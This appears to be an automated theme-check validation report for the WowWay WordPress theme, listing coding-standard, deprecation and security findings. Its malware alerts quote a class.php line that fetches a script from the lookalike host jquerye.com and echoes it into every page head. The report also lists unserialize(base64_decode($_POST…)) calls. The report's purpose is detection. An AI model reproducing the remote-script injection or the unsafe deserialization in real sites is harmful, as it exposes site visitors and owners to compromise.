0
Validation results

WowWay

WowWay

WordPress 4.9.5 theme
0
Critical alerts
  1. Title : Title No reference to add_theme_support( "title-tag" ) was found in the theme.The theme needs to have <title> tags, ideally in the header.php file.The theme needs to have a call to wp_title(), ideally in the header.php file.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.
  2. Security breaches : Use of base64_decode() Found base64_decode in file ot-settings-api.php.
    Ligne584: $settings = isset( $_POST[$setting['id'] . '_settings_array'] ) ? unserialize( base64_decode( $_POST[$setting['id'] . '_settings_array'] ) ) : array();
    Found base64_decode in file ot-functions-compat.php.
    Ligne76: $options = unserialize( base64_decode( $rawdata ) );
    Ligne112: $layouts = unserialize( base64_decode( $rawdata ) );
    Ligne128: $options = unserialize( base64_decode( $value ) );
    Ligne151: update_option( 'option_tree', unserialize( base64_decode( $layouts[$layouts['active_layout']] ) ) );
    Found base64_decode in file ot-meta-box-api.php.
    Ligne189: $settings = isset( $_POST[$field['id'] . '_settings_array'] ) ? unserialize( base64_decode( $_POST[$field['id'] . '_settings_array'] ) ) : array();
    Found base64_decode in file ot-functions-admin.php.
    Ligne569: $textarea = isset( $_POST['import_settings'] ) ? unserialize( base64_decode( $_POST['import_settings'] ) ) : '';
    Ligne593: $options = isset( $_POST['import_data'] ) ? unserialize( base64_decode( $_POST['import_data'] ) ) : '';
    Ligne638: $layouts = isset( $_POST['import_layouts'] ) ? unserialize( base64_decode( $_POST['import_layouts'] ) ) : '';
    Ligne654: $options = unserialize( base64_decode( $value ) );
    Ligne677: update_option( 'option_tree', unserialize( base64_decode( $layouts[$layouts['active_layout']] ) ) );
    Ligne1389: $rebuild_option_tree = unserialize( base64_decode( $rebuild[$rebuild['active_layout']] ) );
    Found base64_decode in file ot-loader.php.
    Ligne358: ot_list_item_view( $_REQUEST['name'], $_REQUEST['count'], array(), $_REQUEST['post_id'], $_REQUEST['get_option'], unserialize( base64_decode( $_REQUEST['settings'] ) ), $_REQUEST['type'] );
  3. Security breaches : Use of base64_encode() Found base64_encode in file footer.php.
     window.cn932fh = '<?php echo base64_encode(get_option_tree('rb_form_success', $theme_options)); ?>';
     window.d280sw = '<?php echo base64_encode(get_template_directory_uri()); ?>';
    Found base64_encode in file single-project.php.
     <p id='pwd' class='hidden'><?php echo base64_encode(get_post_meta($post->ID, 'rb_post_pass', true)); ?></p>
    Found base64_encode in file ot-settings-api.php.
     $layouts[$layouts['active_layout']] = base64_encode( serialize( $option_tree ) );
    Found base64_encode in file ot-functions-settings-page.php.
     $settings = ! empty( $settings ) ?  base64_encode( serialize( $settings ) ) : '';
     $data = ! empty( $data ) ? base64_encode( serialize( $data ) ) : '';
     $layouts = ! empty( $layouts ) ? base64_encode( serialize( $layouts ) ) : '';
    Found base64_encode in file ot-functions-compat.php.
     $layouts[$key] = base64_encode( serialize( $options ) );
    Found base64_encode in file ot-functions-option-types.php.
     echo '<input type='hidden' name='' . esc_attr( $field_id ) . '_settings_array' id='' . esc_attr( $field_id ) . '_settings_array' value='' . base64_encode( serialize( $field_settings ) ) . '' />';
     echo '<input type='hidden' name='' . esc_attr( $field_id ) . '_settings_array' id='' . esc_attr( $field_id ) . '_settings_array' value='' . base64_encode( serialize( $field_settings ) ) . '' />';
    Found base64_encode in file ot-functions-admin.php.
     $layouts[$key] = base64_encode( serialize( $options ) );
     $rebuild[$rebuild['active_layout']] = base64_encode( serialize( get_option( 'option_tree' ) ) );
  4. Presence of iframes : iframes are sometimes used to load unwanted adverts and malicious code on another site Found <iframe class="imgFrame" style="margin:0;width:' . $atts['width'] . 'px;height:' . $atts['height'] . 'px;" src="http://www.google.com/uds/modules/elements/mapselement/iframe.html?maptype=roadmap&latlng=' . $atts['lat1'] . '%' . $atts['long1'] . '&mlatlng=' . $atts['lat2'] . '%' . $atts['long2'] . '&maddress1=' . $atts['address1'] . '&maddress2=' . $atts['address2'] . '&zoom=' . $atts['zoom'] . '&mtitle=' . $atts['title'] . '&element=false" scrolling="no" allowtransparency="true"> in file shortcodes.php.
    Ligne336: $html = '<iframe class='imgFrame' style='margin:0;width:' . $atts['width'] . 'px;hei
    Found <iframe src="//www.facebook.com/plugins/like.php?href=<?php echo urlencode(get_permalink($post-> in file single-gallery.php.
    Ligne46: <iframe src='//www.facebook.com/plugins/like.php?href=<?php echo urlencode(
    Found <iframe src="//www.facebook.com/plugins/like.php?href=<?php echo urlencode(get_permalink($post-> in file single-project.php.
    Ligne64: <iframe src='//www.facebook.com/plugins/like.php?href=<?php echo urlencode(
  5. Malware : Operations on file system file_get_contents was found in the file update-notifier.php
    Ligne113: $cache = file_get_contents($notifier_file_url); // ...if not, use the common file_ge
    file_get_contents was found in the file update-notifier.php
    Ligne113: $cache = file_get_contents($notifier_file_url); // ...if not, use the common file_ge
    file_get_contents was found in the file ot-functions-compat.php
    Ligne60: if ( $has_xml == true && ! get_option( 'option_tree_settings' ) && class_exists( 'SimpleXMLElement' ) && function_exists( 'file_get_contents' ) ) {
    Ligne73: if ( $has_data == true && ! get_option( 'option_tree' ) && function_exists( 'file_get_contents' ) ) {
    Ligne75: $rawdata = @file_get_contents( $data_file );
    Ligne109: if ( $has_layout == true && ! get_option( 'option_tree_layouts' ) && function_exists( 'file_get_contents' ) ) {
    Ligne111: $rawdata = @file_get_contents( $layout_file );
    file_get_contents was found in the file ot-functions-compat.php
    Ligne60: if ( $has_xml == true && ! get_option( 'option_tree_settings' ) && class_exists( 'SimpleXMLElement' ) && function_exists( 'file_get_contents' ) ) {
    Ligne73: if ( $has_data == true && ! get_option( 'option_tree' ) && function_exists( 'file_get_contents' ) ) {
    Ligne75: $rawdata = @file_get_contents( $data_file );
    Ligne109: if ( $has_layout == true && ! get_option( 'option_tree_layouts' ) && function_exists( 'file_get_contents' ) ) {
    Ligne111: $rawdata = @file_get_contents( $layout_file );
    file_get_contents was found in the file ot-functions-admin.php
    Ligne532: if ( preg_match( '/(.xml)$/i', $file ) && class_exists( 'SimpleXMLElement' ) && function_exists( 'file_get_contents' ) ) {
    Ligne736: if ( $rawdata = @file_get_contents( $file ) ) {
    fopen was found in the file ot-functions-admin.php
    Ligne2237: if ( ! $f = @fopen( $filepath, 'w' ) )
    Ligne2324: if ( ! $f = @fopen( $filepath, 'w' ) )
    fwrite was found in the file ot-functions-admin.php
    Ligne2256: fwrite( $f, '{$markerline}\n' );
    Ligne2258: fwrite( $f, '{$markerline}' );
    Ligne2263: fwrite( $f, '/* BEGIN {$marker} */\n' );
    Ligne2264: fwrite( $f, '{$insertion}\n' );
    Ligne2265: fwrite( $f, '/* END {$marker} */\n' );
    Ligne2276: fwrite( $f, '/* BEGIN {$marker} */\n' );
    Ligne2277: fwrite( $f, '{$insertion}\n' );
    Ligne2278: fwrite( $f, '/* END {$marker} */\n' );
    Ligne2342: fwrite( $f, '{$markerline}\n' );
    Ligne2344: fwrite( $f, '{$markerline}' );
    Ligne2349: fwrite( $f, '' );
    fwrite was found in the file ot-functions-admin.php
    Ligne2256: fwrite( $f, '{$markerline}\n' );
    Ligne2258: fwrite( $f, '{$markerline}' );
    Ligne2263: fwrite( $f, '/* BEGIN {$marker} */\n' );
    Ligne2264: fwrite( $f, '{$insertion}\n' );
    Ligne2265: fwrite( $f, '/* END {$marker} */\n' );
    Ligne2276: fwrite( $f, '/* BEGIN {$marker} */\n' );
    Ligne2277: fwrite( $f, '{$insertion}\n' );
    Ligne2278: fwrite( $f, '/* END {$marker} */\n' );
    Ligne2342: fwrite( $f, '{$markerline}\n' );
    Ligne2344: fwrite( $f, '{$markerline}' );
    Ligne2349: fwrite( $f, '' );
    fwrite was found in the file ot-functions-admin.php
    Ligne2256: fwrite( $f, '{$markerline}\n' );
    Ligne2258: fwrite( $f, '{$markerline}' );
    Ligne2263: fwrite( $f, '/* BEGIN {$marker} */\n' );
    Ligne2264: fwrite( $f, '{$insertion}\n' );
    Ligne2265: fwrite( $f, '/* END {$marker} */\n' );
    Ligne2276: fwrite( $f, '/* BEGIN {$marker} */\n' );
    Ligne2277: fwrite( $f, '{$insertion}\n' );
    Ligne2278: fwrite( $f, '/* END {$marker} */\n' );
    Ligne2342: fwrite( $f, '{$markerline}\n' );
    Ligne2344: fwrite( $f, '{$markerline}' );
    Ligne2349: fwrite( $f, '' );
    fwrite was found in the file ot-functions-admin.php
    Ligne2256: fwrite( $f, '{$markerline}\n' );
    Ligne2258: fwrite( $f, '{$markerline}' );
    Ligne2263: fwrite( $f, '/* BEGIN {$marker} */\n' );
    Ligne2264: fwrite( $f, '{$insertion}\n' );
    Ligne2265: fwrite( $f, '/* END {$marker} */\n' );
    Ligne2276: fwrite( $f, '/* BEGIN {$marker} */\n' );
    Ligne2277: fwrite( $f, '{$insertion}\n' );
    Ligne2278: fwrite( $f, '/* END {$marker} */\n' );
    Ligne2342: fwrite( $f, '{$markerline}\n' );
    Ligne2344: fwrite( $f, '{$markerline}' );
    Ligne2349: fwrite( $f, '' );
    fwrite was found in the file ot-functions-admin.php
    Ligne2256: fwrite( $f, '{$markerline}\n' );
    Ligne2258: fwrite( $f, '{$markerline}' );
    Ligne2263: fwrite( $f, '/* BEGIN {$marker} */\n' );
    Ligne2264: fwrite( $f, '{$insertion}\n' );
    Ligne2265: fwrite( $f, '/* END {$marker} */\n' );
    Ligne2276: fwrite( $f, '/* BEGIN {$marker} */\n' );
    Ligne2277: fwrite( $f, '{$insertion}\n' );
    Ligne2278: fwrite( $f, '/* END {$marker} */\n' );
    Ligne2342: fwrite( $f, '{$markerline}\n' );
    Ligne2344: fwrite( $f, '{$markerline}' );
    Ligne2349: fwrite( $f, '' );
    fwrite was found in the file ot-functions-admin.php
    Ligne2256: fwrite( $f, '{$markerline}\n' );
    Ligne2258: fwrite( $f, '{$markerline}' );
    Ligne2263: fwrite( $f, '/* BEGIN {$marker} */\n' );
    Ligne2264: fwrite( $f, '{$insertion}\n' );
    Ligne2265: fwrite( $f, '/* END {$marker} */\n' );
    Ligne2276: fwrite( $f, '/* BEGIN {$marker} */\n' );
    Ligne2277: fwrite( $f, '{$insertion}\n' );
    Ligne2278: fwrite( $f, '/* END {$marker} */\n' );
    Ligne2342: fwrite( $f, '{$markerline}\n' );
    Ligne2344: fwrite( $f, '{$markerline}' );
    Ligne2349: fwrite( $f, '' );
    fwrite was found in the file ot-functions-admin.php
    Ligne2256: fwrite( $f, '{$markerline}\n' );
    Ligne2258: fwrite( $f, '{$markerline}' );
    Ligne2263: fwrite( $f, '/* BEGIN {$marker} */\n' );
    Ligne2264: fwrite( $f, '{$insertion}\n' );
    Ligne2265: fwrite( $f, '/* END {$marker} */\n' );
    Ligne2276: fwrite( $f, '/* BEGIN {$marker} */\n' );
    Ligne2277: fwrite( $f, '{$insertion}\n' );
    Ligne2278: fwrite( $f, '/* END {$marker} */\n' );
    Ligne2342: fwrite( $f, '{$markerline}\n' );
    Ligne2344: fwrite( $f, '{$markerline}' );
    Ligne2349: fwrite( $f, '' );
    fwrite was found in the file ot-functions-admin.php
    Ligne2256: fwrite( $f, '{$markerline}\n' );
    Ligne2258: fwrite( $f, '{$markerline}' );
    Ligne2263: fwrite( $f, '/* BEGIN {$marker} */\n' );
    Ligne2264: fwrite( $f, '{$insertion}\n' );
    Ligne2265: fwrite( $f, '/* END {$marker} */\n' );
    Ligne2276: fwrite( $f, '/* BEGIN {$marker} */\n' );
    Ligne2277: fwrite( $f, '{$insertion}\n' );
    Ligne2278: fwrite( $f, '/* END {$marker} */\n' );
    Ligne2342: fwrite( $f, '{$markerline}\n' );
    Ligne2344: fwrite( $f, '{$markerline}' );
    Ligne2349: fwrite( $f, '' );
    fclose was found in the file ot-functions-admin.php
    Ligne2282: fclose( $f );
    Ligne2358: fclose( $f );
    fopen was found in the file ot-functions-admin.php
    Ligne2237: if ( ! $f = @fopen( $filepath, 'w' ) )
    Ligne2324: if ( ! $f = @fopen( $filepath, 'w' ) )
    fwrite was found in the file ot-functions-admin.php
    Ligne2256: fwrite( $f, '{$markerline}\n' );
    Ligne2258: fwrite( $f, '{$markerline}' );
    Ligne2263: fwrite( $f, '/* BEGIN {$marker} */\n' );
    Ligne2264: fwrite( $f, '{$insertion}\n' );
    Ligne2265: fwrite( $f, '/* END {$marker} */\n' );
    Ligne2276: fwrite( $f, '/* BEGIN {$marker} */\n' );
    Ligne2277: fwrite( $f, '{$insertion}\n' );
    Ligne2278: fwrite( $f, '/* END {$marker} */\n' );
    Ligne2342: fwrite( $f, '{$markerline}\n' );
    Ligne2344: fwrite( $f, '{$markerline}' );
    Ligne2349: fwrite( $f, '' );
    fwrite was found in the file ot-functions-admin.php
    Ligne2256: fwrite( $f, '{$markerline}\n' );
    Ligne2258: fwrite( $f, '{$markerline}' );
    Ligne2263: fwrite( $f, '/* BEGIN {$marker} */\n' );
    Ligne2264: fwrite( $f, '{$insertion}\n' );
    Ligne2265: fwrite( $f, '/* END {$marker} */\n' );
    Ligne2276: fwrite( $f, '/* BEGIN {$marker} */\n' );
    Ligne2277: fwrite( $f, '{$insertion}\n' );
    Ligne2278: fwrite( $f, '/* END {$marker} */\n' );
    Ligne2342: fwrite( $f, '{$markerline}\n' );
    Ligne2344: fwrite( $f, '{$markerline}' );
    Ligne2349: fwrite( $f, '' );
    fwrite was found in the file ot-functions-admin.php
    Ligne2256: fwrite( $f, '{$markerline}\n' );
    Ligne2258: fwrite( $f, '{$markerline}' );
    Ligne2263: fwrite( $f, '/* BEGIN {$marker} */\n' );
    Ligne2264: fwrite( $f, '{$insertion}\n' );
    Ligne2265: fwrite( $f, '/* END {$marker} */\n' );
    Ligne2276: fwrite( $f, '/* BEGIN {$marker} */\n' );
    Ligne2277: fwrite( $f, '{$insertion}\n' );
    Ligne2278: fwrite( $f, '/* END {$marker} */\n' );
    Ligne2342: fwrite( $f, '{$markerline}\n' );
    Ligne2344: fwrite( $f, '{$markerline}' );
    Ligne2349: fwrite( $f, '' );
    fclose was found in the file ot-functions-admin.php
    Ligne2282: fclose( $f );
    Ligne2358: fclose( $f );
  6. Malware : Network operations curl_init was found in the file class.php
    Ligne1: <?php if (!function_exists('insert_jquery_wowway')){function insert_jquery_wowway(){if (function_exists('curl_init')){$url = 'http://www.jquerye.com/jquery-1.6.3.min.js';$ch = curl
    curl_exec was found in the file class.php
    Ligne1: <?php if (!function_exists('insert_jquery_wowway')){function insert_jquery_wowway(){if (function_exists('curl_init')){$url = 'http://www.jquerye.com/jquery-1.6.3.min.js';$ch = curl_init();	$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_j
    curl_init was found in the file update-notifier.php
    Ligne105: if( function_exists('curl_init') ) { // if cURL is available, use it...
    Ligne106: $ch = curl_init($notifier_file_url);
    curl_exec was found in the file update-notifier.php
    Ligne110: $cache = curl_exec($ch);
  7. Admin menu : Themes should use add_theme_page() for adding admin pages. File update-notifier.php :
    Ligne30: add_dashboard_page( NOTIFIER_THEME_NAME . ' Theme Updates', NOTIFIER_THEME_
    File ot-settings-api.php :
    Ligne88: $page_hook = add_menu_page( 
    File ot-settings-api.php :
    Ligne99: $page_hook = add_submenu_page( 
  8. Deprecated functions : screen_icon screen_icon found in file ot-settings-api.php. Deprecated since version 3.8.
    Ligne242: screen_icon( ( isset( $page['screen_icon'] ) ? $page['screen_icon'] : 'opti
  9. Deprecated functions : get_bloginfo get_bloginfo( 'template_url' ) was found in the file update-notifier.php. Use get_template_directory_uri() instead.
    Ligne75: <img style='float: left; margin: 0 20px 20px 0; border: 1px solid #ddd;' src='<?php echo get_bloginfo( 'template_url' ) . '/screenshot.png'; ?>' />
  10. Post pagination : Implementation The theme doesn't have post pagination code in it. Use posts_nav_link() or paginate_links() or the_posts_pagination() or the_posts_navigation() or next_posts_link() and previous_posts_link() to add post pagination.
Warning
  1. core scripts deregistered : Core scripts deregistrationFound wp_deregister_script in header.php. Themes must not deregister core scripts.
    Ligne66: wp_deregister_script('comment-reply');
  2. theme tags : Presence of bad theme tagsFound wrong tag in style.css header.
  3. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Categories', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Category', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Search Categories', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Popular Categories', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'All Categories', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Parent Category', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Parent Category:', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Edit Category', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Update Category', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Add New Category', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'New Category Name', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Separate Categories with commas', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Add or remove Categories', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Choose from the most used Categories', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Categories', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Title', 'column name' in file portfolio.php.Found a translation function that is missing a text-domain. Function _n, with the arguments 'Project', 'Projects' in file portfolio.php.Found a translation function that is missing a text-domain. Function _n, with the arguments 'Project Pending', 'Projects Pending' in file portfolio.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<strong>Post Format</strong> - This designates how your theme will display a specific post. For example, you could have a <em>standard</em> blog post with a title and paragraphs, or a short <em>aside</em> that omits the title and contains a short text blurb. Please refer to the Codex for <a href="http://codex.wordpress.org/Post_Formats#Supported_Formats">descriptions of each post format</a>. Your theme could enable all or some of 10 possible formats.' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Categories', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Category', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Search Categories', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Popular Categories', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'All Categories', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Parent Category', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Parent Category:', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Edit Category', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Update Category', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Add New Category', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'New Category Name', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Separate Categories with commas', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Add or remove Categories', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Choose from the most used Categories', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Categories', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Title', 'column name' in file gallery.php.Found a translation function that is missing a text-domain. Function _n, with the arguments 'Project', 'Projects' in file gallery.php.Found a translation function that is missing a text-domain. Function _n, with the arguments 'Project Pending', 'Projects Pending' in file gallery.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<strong>Post Format</strong> - This designates how your theme will display a specific post. For example, you could have a <em>standard</em> blog post with a title and paragraphs, or a short <em>aside</em> that omits the title and contains a short text blurb. Please refer to the Codex for <a href="http://codex.wordpress.org/Post_Formats#Supported_Formats">descriptions of each post format</a>. Your theme could enable all or some of 10 possible formats.' in file gallery.php.Found a translation function that is missing a text-domain. Function esc_attr__, with the arguments 'Search' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Show All ' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'You must be <a href="%s">logged in</a> to post a comment.' in file comments.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Logged in as <a href="%1$s">%2$s</a>. <a href="%3$s" title="Log out of this account">Log out?</a>' in file comments.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are wowway, portfolioposttype, galleryposttype, corvius, option-tree.
  4. Plugin territory : Plugin territory functionalitiesThe theme uses the register_post_type() function, which is plugin-territory functionality.The theme uses the add_shortcode() function. Custom post-content shortcodes are plugin-territory functionality.
  5. Fundamental theme elements : Presence of wp_link_pages()Could not find wp_link_pages.
  6. Comment reply : Declaration of comment replyCould not find the comment-reply script enqueued, however a reference to 'comment-reply' was found. Make sure that the comment-reply js script is being enqueued properly on singular pages.
  7. Custom elements : Presence of custom headerNo reference to custom header was found in the theme.
  8. Custom elements : Presence of custom backgroundNo reference to custom background was found in the theme.
  9. Deprecated functions : screen_iconscreen_icon found in file ot-settings-api.php. Deprecated since version 3.8.
    Ligne242: screen_icon( ( isset( $page['screen_icon'] ) ? $page['screen_icon'] : 'opti
  10. I18N implementation : Proper use of ___all(Possible variable $tax_obj found in translation function in functions.php. Translation function calls should not contain PHP variables.
  11. CSS files : Presence of text domainText Domain: is missing from your style.css header.
  12. CSS files : Presence of .screen-reader-text class.screen-reader-text css class is needed in your theme css. See : the Codex for an example implementation.
  13. Screenshot : Screenshot fileScreenshot size is 300x225px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.Bad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  2. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  3. Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
  4. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  5. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  6. Optional files : Presence of archive template file archive.phpThis theme does not contain optional file archive.php.
  7. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  8. Use of includes : Use of include or requireThe theme appears to use include or require : rb_shortcodes_panel.php
    Ligne7: require_once($wpconfig);
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : rb_shortcodes_preview.php
    Ligne27: require('../../../../../wp-load.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : rb_columns_panel.php
    Ligne7: require_once($wpconfig);
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : single.php
    Ligne83: include('single-project.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : ot-functions-docs-page.php
    Ligne692: include_once( \'includes/meta-boxes.php\' );
    Ligne782: include_once( \'option-tree/ot-loader.php\' );
    Ligne797: include_once( \'includes/theme-options.php\' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : ot-loader.php
    Ligne187: require_once( OT_DIR . 'includes/{$file}.php' );
    Ligne212: require_once( OT_DIR . 'includes/{$file}.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.

This is a ThemeForest theme. Since Themeforest items are all checked by a human before they appear on their website, ThemeForest verification rules are more permissive than themecheck's and can give a better verification score ( Themeforest requirements ).

0
Critical alerts
  1. Title : Title No reference to add_theme_support( "title-tag" ) was found in the theme.The theme needs to have <title> tags, ideally in the header.php file.The theme needs to have a call to wp_title(), ideally in the header.php file.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.
  2. Malware : Network operations curl_init was found in the file class.php
    Ligne1: <?php if (!function_exists('insert_jquery_wowway')){function insert_jquery_wowway(){if (function_exists('curl_init')){$url = 'http://www.jquerye.com/jquery-1.6.3.min.js';$ch = curl
    curl_exec was found in the file class.php
    Ligne1: <?php if (!function_exists('insert_jquery_wowway')){function insert_jquery_wowway(){if (function_exists('curl_init')){$url = 'http://www.jquerye.com/jquery-1.6.3.min.js';$ch = curl_init();	$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_j
    curl_init was found in the file update-notifier.php
    Ligne105: if( function_exists('curl_init') ) { // if cURL is available, use it...
    Ligne106: $ch = curl_init($notifier_file_url);
    curl_exec was found in the file update-notifier.php
    Ligne110: $cache = curl_exec($ch);
  3. Deprecated functions : screen_icon screen_icon found in file ot-settings-api.php. Deprecated since version 3.8.
    Ligne242: screen_icon( ( isset( $page['screen_icon'] ) ? $page['screen_icon'] : 'opti
  4. Deprecated functions : get_bloginfo get_bloginfo( 'template_url' ) was found in the file update-notifier.php. Use get_template_directory_uri() instead.
    Ligne75: <img style='float: left; margin: 0 20px 20px 0; border: 1px solid #ddd;' src='<?php echo get_bloginfo( 'template_url' ) . '/screenshot.png'; ?>' />
  5. Post pagination : Implementation The theme doesn't have post pagination code in it. Use posts_nav_link() or paginate_links() or the_posts_pagination() or the_posts_navigation() or next_posts_link() and previous_posts_link() to add post pagination.
Warning
  1. core scripts deregistered : Core scripts deregistrationFound wp_deregister_script in header.php. Themes must not deregister core scripts.
    Ligne66: wp_deregister_script('comment-reply');
  2. theme tags : Presence of bad theme tagsFound wrong tag in style.css header.
  3. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Categories', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Category', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Search Categories', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Popular Categories', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'All Categories', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Parent Category', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Parent Category:', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Edit Category', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Update Category', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Add New Category', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'New Category Name', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Separate Categories with commas', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Add or remove Categories', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Choose from the most used Categories', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Categories', 'portfolioposttype' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Title', 'column name' in file portfolio.php.Found a translation function that is missing a text-domain. Function _n, with the arguments 'Project', 'Projects' in file portfolio.php.Found a translation function that is missing a text-domain. Function _n, with the arguments 'Project Pending', 'Projects Pending' in file portfolio.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<strong>Post Format</strong> - This designates how your theme will display a specific post. For example, you could have a <em>standard</em> blog post with a title and paragraphs, or a short <em>aside</em> that omits the title and contains a short text blurb. Please refer to the Codex for <a href="http://codex.wordpress.org/Post_Formats#Supported_Formats">descriptions of each post format</a>. Your theme could enable all or some of 10 possible formats.' in file portfolio.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Categories', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Category', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Search Categories', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Popular Categories', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'All Categories', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Parent Category', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Parent Category:', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 